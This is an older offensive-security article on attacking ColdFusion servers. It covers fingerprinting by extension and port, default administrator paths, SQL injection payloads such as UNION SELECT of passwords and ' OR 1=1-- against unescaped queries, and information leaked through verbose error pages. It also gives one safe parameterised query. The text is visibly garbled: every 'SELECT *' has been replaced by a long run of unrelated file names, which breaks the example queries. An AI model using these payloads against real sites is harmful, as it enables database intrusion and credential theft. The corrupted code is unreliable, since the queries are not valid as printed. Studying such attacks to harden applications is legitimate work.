Attacking ColdFusion.

Publicated on : 1215866171
Abstract



ColdFusion is an application server and software development framework used for the development of web-based applications[1]. ColdFusion is a similar product to Microsoft ASP.NET, JavaServer Pages or PHP. It's syntax is tag-based, and almost resembles HTML or XML like-structure which is very easy to learn and can be quickly adopted by web designers, to create database driven applications without much knowledge of programming. Since ColdFusion isn't very well known by many, as an end result, there are very few published hacks for them. This article goes deeper into ColdFusion and it's limitations and vulnerabilities that attackers can exploit. I mainly focus on the inner workings of ColdFusion, SQL Injection and information gathering. I can't really give an explanation why ColdFusion isn't very well researched by the security industry, but my hunch is that many believe that few websites use it. I worked with ColdFusion a few times back in 2002, and their user base has explosively grown since then. According to a Google query[2][3] learns that at least 500 million pages run ColdFusion on either standalone, IIS, Apache, or on Solaris. Since ColdFusion has a huge user base by now, It is inevitable that it will become an interesting landscape for attack and caution.



CFM Extensions.



The ColdFusion extension mappings we can use to locate CFM servers or appliances are:
.cfm, .cfml, .cfc, .cfswf, .cfr, .jsp, and .jws 


Used ports.



By default, the web server runs on port 8500, and on old versions of CF it can run on 1433. However if port 8500 is in use ColdFusion will use another port, depending on what service uses port 8500, like ColdFusion MX, ColdFusion MX 6.1, or ColdFusion MX. It can be located between port 8500 to 8600. With this knowledge you can determine whether ColdFusion is the only service installed, or that more ColdFusion services are installed. But this only works when ColdFusion itself is the default server, if IIS or Apache in running, the default port will be 8500. Administrators can change the port being used by ColdFusion. To change the port number, they must edit jrun.xml, located in:



Windows: cf_rootruntimeserverscoldfusionSERVER-INF 

UNIX: cf_root/runtime/servers/coldfusion/SERVER-INF


If JRun is present on a multi-server installation it will be located on port 8300. If in use, it will be using a port between 8300 and 8400, usually incrementing with one, so 8300 and 8301 are often fair guesses to determine a multi-server installation.



Administration.



What is curious about ColdFusion regarding administration access, is that you only have to enter a password if you need to login. This has been the case since ColdFusion came to be, and still remains their way of securing access. The password submitted gets encrypted before submitting the form. A hex_hmac_sha1 is used to cipher a hidden field salt with the entered password. The hidden salt is somewhat silly designed, because it's actually a UNIX time stamp: 1215849484281 with a number appended to it on the end. In old CF versions there is no password set and you can login by leaving the password field empty. But in most cases the password is the password entered by the administrator upon installation. -which should be forbidden by law IMHO-



The default location for the ColdFusion Administrator login pages are:



http://servername[:8500]/CFIDE/administrator/index.cfm



In multi-server mode the location can be:



http://servername[:8300]/CFIDE/administrator/index.cfm


ColdFusion Markup Language (CFML)



Request variable

<cfset Request.field_name1 = "value">

<cfoutput>#Request.field_name1#</cfoutput>



Client variables to tamper with.

Request.somename

Form.somename

HTTP_REFERER

HTTP_USER_AGENT

Cookies


CF queries are using the so-called param tags that can receive user supplied data through a query string or a form.



<cfquery 

name = "query name"

dataSource = "data source name"

...other attributes...

SQL STATEMENT column_name =

<cfqueryparam value = "parameter value"

CFSQLType = "parameter type"

list = "yes|no"

maxLength = "maximum parameter length"

null = "yes|no"

scale = "number of decimal places"

separator = "separator character">

AND/OR ...additional criteria of the WHERE clause...>

</cfquery>


The cfqueryparam is generally secure because it utilizes a prepared statement, that is always binded as a string, which in term is nearly not exploitable. But, many ColdFusion applications do not use the cfqueryparam mainly because developers do not know about this, and also because this feature came only in to being, with later versions of ColdFusion. Let's go into what many CF developers generally are using instead, and how we can exploit it.



CF Database Query and CF SQL Injection.



The first thing we could try to successfully utilize SQL injection in ColdFusion, is to try to inject integer queries. This is important, because it allows us to inject a vector that doesn't need single quotes. However, even single quote escaping in ColdFusion is also flawed as I explain later. When we inject a vector into an expected integer we can easily bypass security. For example:



<cfquery>

SELECT #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while FROM USERS WHERE user_id = #Request.user_id#

</cfquery>


When we inject the user_id param, the query becomes like this:

<cfquery>

SELECT #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while FROM USERS WHERE user_id = 1 UNION SELECT password AS USERNAME FROM USERS

</cfquery>


One big mistake in the ColdFusion architecture, is how Adobe forgot how MySQL escapes characters. ColdFusion escapes all single quotes by default with another single quote. You can call this a 'magic quote' behavior similar found in PHP. But, This method of injecting ColdFusion on MySQL is based upon the idea that in MySQL we can use a backslash to escape a single quote. Problem with ColdFusion is, that it adds another single quote while MySQL sees the already escaped single quote, and thereby successfully executes our injected query. For example:



<cfset str = " ' OR 1=1-- "/>

<cfquery>SELECT #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while FROM USERS WHERE name = '#str#'</cfquery>


This becomes:

SELECT #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while FROM USERS WHERE name = ''' OR 1 = 1 --'


Which is a valid CF SQL injection through MySQL.



One of the most dangerous functions is the preserveSingleQuotes() function. When this function is used, single quotes are no longer escaped. Leaving the application totally unprotected on every platform. For example:

<cfset str = "INSERT INTO CMS (uid, txt, date_dubmitted) Values (#form.id#, '#form.txt#','#form.date_submitted#')">

<cfquery>

#PreserveSingleQuotes(str)#

</cfquery>


Another example:

<cfset str= "SELECT #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while FROM USERS WHERE username = '#form.username#'"/>

<cfquery>

#preserveSingleQuotes(str)#

</cfquery>


Also it can be used in a database output:

<cfquery sql = "SELECT #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while FROM USERS WHERE NAME IN (#preserveSingleQuotes(list_id)#)">


If you want to protect your CF applications, here is a way to write a safe database query that makes use of the correct CFQUERYPARAM with the right data-type flags.



Login Form:

<cflogin>

<cfif NOT IsDefined("cflogin")>

<cfinclude template="loginform.cfm">

<cfabort>

<cfelse>

<cfif cflogin.name eq "admin">

<cfset roles = "user,admin">

<cfelse>

<cfset roles = "user">

</cfif>

<cfloginuser name = "#cflogin.name#" password = "#cflogin.password#"

roles = "#roles#"/>

</cfif>

</cflogin>


Process:

<cfquery name="qSecurity"

datasource="UserRolesDb">

SELECT Roles FROM SecurityRoles

WHERE username=<cfqueryparam value='#cflogin.name#' CFSQLTYPE="CF_SQL_VARCHAR"

AND password=<cfqueryparam value='#cflogin.password#' CFSQLTYPE='CF_SQL_VARCHAR'

</cfquery>



<cfif qSecurity.recordcount gt 0>

<cfloginuser name = "#cflogin.name#"

password = "#cflogin.password#"

roles = "#trim(qSecurity.Roles)#" >

</cfif>


Information disclosure.



As we know, error messages are important. Especially error messages generated by database software we want to inject. This, is useful for obtaining information about table structures that can be a real time-saver for attackers. If the right information is available, attackers do not have to guess database tables and fields anymore, nor having to brute force them. Here is a snapshot of an actual error message generated by ColdFusion. I have never seen so much information regarding the site's structure, used database, table names, drivers, server setup and other information useful for attackers that those of ColdFusion.



It almost says: Please Hack Me!



Error Executing Database Query.

[Macromedia][SQLServer JDBC Driver][SQLServer]Line 8: Incorrect syntax near ''.



The error occurred in D:JRun4serversCfusion_Mediumcfusion-earcfusion-warCFdataxxxx.cfm: line 11



9 : LEFT JOIN VAKGEBIED ON ORGANISATIES.VAKGEBCD=VAKGEBIED.VAKGEBCD

10 : LEFT JOIN LAND ON ORGANISATIES.O1LNDCD=LAND.LNDCD

11 : WHERE organisatie.orgid=#orgid#;

12 : </CFQUERY>

13 :



SQL SELECT #index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while FROM ORGANISATIES RIGHT JOIN organisatie on ORGANISATIES.ORGID=organisatie.orgid LEFT JOIN SOORT_ORGANISATIE ON



ORGANISATIES.SOORTORGCD=SOORT_ORGANISATIE.SOORTORGCD LEFT JOIN ACRONIEM ON ORGANISATIES.ACRCD=ACRONIEM.ACRCD LEFT JOIN VAKGEBIED ON



ORGANISATIES.VAKGEBCD=VAKGEBIED.VAKGEBCD LEFT JOIN LAND ON ORGANISATIES.O1LNDCD=LAND.LNDCD WHERE organisatie.orgid=3'';

DATASOURCE datastorexxx

VENDORERRORCODE 170

SQLSTATE HY000

Resources:



#index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while Check the ColdFusion documentation to verify that you are using the correct syntax.

#index.html# 0x000000.js 0x000000.txt 0x000001.js 0x000002.js 0x000003.js 0x000004.js 0x000005.js 0x000006.js 0x000007.js 0x000008.js 0x000009.js 0x00000A.js all.back all.html all.txt anal articles articles_old crowl.html index.html jquery-1.3.2.min.js split.sh while Search the Knowledge Base to find a solution to your problem.



Browser Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2006052906 Firefox/1.0

Remote Address xxx.xxx.xxx.xxx

Referrer

Date/Time 07-jul-08 00:33 PM

Stack Trace

at xxxx.runPage(D:JRun4serversCfusion_Mediumcfusion-earcfusion-warCFdataxxxx.cfm:11) at



xxxx.runPage(D:JRun4serversCfusion_Mediumcfusion-earcfusion-warCFdataxxxx.cfm:11)



java.sql.SQLException: [Macromedia][SQLServer JDBC Driver][SQLServer]Line 8: Incorrect syntax near ''.

at macromedia.jdbc.base.BaseExceptions.createException(Unknown Source)

at macromedia.jdbc.base.BaseExceptions.getException(Unknown Source)

at macromedia.jdbc.sqlserver.tds.TDSRequest.processErrorToken(Unknown Source)

at macromedia.jdbc.sqlserver.tds.TDSRequest.processReplyToken(Unknown Source)

at macromedia.jdbc.sqlserver.tds.TDSRequest.processReply(Unknown Source)

at macromedia.jdbc.sqlserver.SQLServerImplStatement.getNextResultType(Unknown Source)

at macromedia.jdbc.base.BaseStatement.commonTransitionToState(Unknown Source)

at macromedia.jdbc.base.BaseStatement.postImplExecute(Unknown Source)

at macromedia.jdbc.base.BaseStatement.commonExecute(Unknown Source)

at macromedia.jdbc.base.BaseStatement.executeInternal(Unknown Source)

at macromedia.jdbc.base.BaseStatement.execute(Unknown Source)

at coldfusion.server.j2ee.sql.JRunStatement.execute(JRunStatement.java:212)

at coldfusion.sql.Executive.executeQuery(Executive.java:753)

at coldfusion.sql.Executive.executeQuery(Executive.java:675)

at coldfusion.sql.Executive.executeQuery(Executive.java:636)

at coldfusion.sql.SqlImpl.execute(SqlImpl.java:236)

at coldfusion.tagext.sql.QueryTag.doEndTag(QueryTag.java:500)

at xxxx.runPage(D:JRun4serversCfusion_Mediumcfusion-earcfusion-warCFdataxxxx.cfm:11)

at coldfusion.runtime.CfJspPage.invoke(CfJspPage.java:152)

at coldfusion.tagext.lang.IncludeTag.doStartTag(IncludeTag.java:349)

at coldfusion.filter.CfincludeFilter.invoke(CfincludeFilter.java:65)

at coldfusion.filter.ApplicationFilter.invoke(ApplicationFilter.java:225)

at coldfusion.filter.RequestMonitorFilter.invoke(RequestMonitorFilter.java:51)

at coldfusion.filter.PathFilter.invoke(PathFilter.java:86)

at coldfusion.filter.ExceptionFilter.invoke(ExceptionFilter.java:69)

at coldfusion.filter.BrowserDebugFilter.invoke(BrowserDebugFilter.java:52)

at coldfusion.filter.ClientScopePersistenceFilter.invoke(ClientScopePersistenceFilter.java:28)

at coldfusion.filter.BrowserFilter.invoke(BrowserFilter.java:38)

at coldfusion.filter.GlobalsFilter.invoke(GlobalsFilter.java:38)

at coldfusion.filter.DatasourceFilter.invoke(DatasourceFilter.java:22)

at coldfusion.filter.RequestThrottleFilter.invoke(RequestThrottleFilter.java:115)

at coldfusion.CfmServlet.service(CfmServlet.java:107)

at coldfusion.bootstrap.BootstrapServlet.service(BootstrapServlet.java:78)

at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:91)

at jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42)

at jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:257)

at jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:541)

at jrun.servlet.jrpp.JRunProxyService.invokeRunnable(JRunProxyService.java:204)

at jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:426)

at jrunx.scheduler.WorkerThread.run(WorkerThread.java:66)




Many files in ColdFusion are password protected, but sometimes you can get lucky and locate files you are not supposed to see:



/CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=cfcname&path=/path/to/cfc/cfcname.cfc

/cfcname.cfc?wsdl

/config.xml




Aditional ColdFusion information.



Directory structure.

CF_ROOT or /CF_ROOT/



wwwroot



This is the default web root directory for the built-in web server.

When running on other web servers, this directory contains only the WEB-INF directory.

This also can be useful to fingerprint if ColdFusion is it's default server instead of IIS or Apache.



bin

cache

cfx

charting

CustomTags

db

gateway

jintegra

jnbridge

lib

logs

Mail

META-INF

registry

runtime

runtime/jre

uninstall

verity



Client variables.



Client.CFID

Client.CFToken

Client.HitCount

Client.LastVisit

Client.TimeCreated

Client.URLToken



Server variables.



Server.ColdFusion.ProductName

Server.ColdFusion.ProductVersion

Server.ColdFusion.ProductLevel

Server.ColdFusion.SerialNumber

Server.ColdFusion.SupportedLocales

Server.ColdFusion.AppServer

Server.ColdFusion.Expiration

Server.ColdFusion.RootDir

Server.OS.Name

Server.OS.AdditionalInformation

Server.OS.Version

Server.OS.BuildNumber



Loops.



<cfloop index = "LoopCount" from = "1" to = "5">

The loop index is <cfoutput>#LoopCount#</cfoutput>.<br>

</cfloop>



<cfloop file="c:tempfile.txt" index="line">

<cfoutput>#line#</cfoutput><br>

</cfloop>



Arrays.



<cfset x = ["mars","earth", "venus", "jupiter"]>

<cfloop array=#x# index="name">

<cfoutput>#name#</cfoutput>

</cfloop>


Conclusion.



ColdFusion is a very interesting platform for attackers. Since ColdFusion can run on many platforms, it's easy to imagine it weaknesses that come with a platform it runs on. IIS can be very dangerous in the case of SQL injection because of the so-called query stacking, where it is also possible to launch CMD shells, or create other havoc. Again, the problems of SQL injection are not solved by programmers which is still the fundamental problem.



[1] http://www.adobe.com/products/coldfusion/

[2] http://www.google.com/search?q=filetype:cfm

[3] http://www.google.com/search?q=inurl:cfm?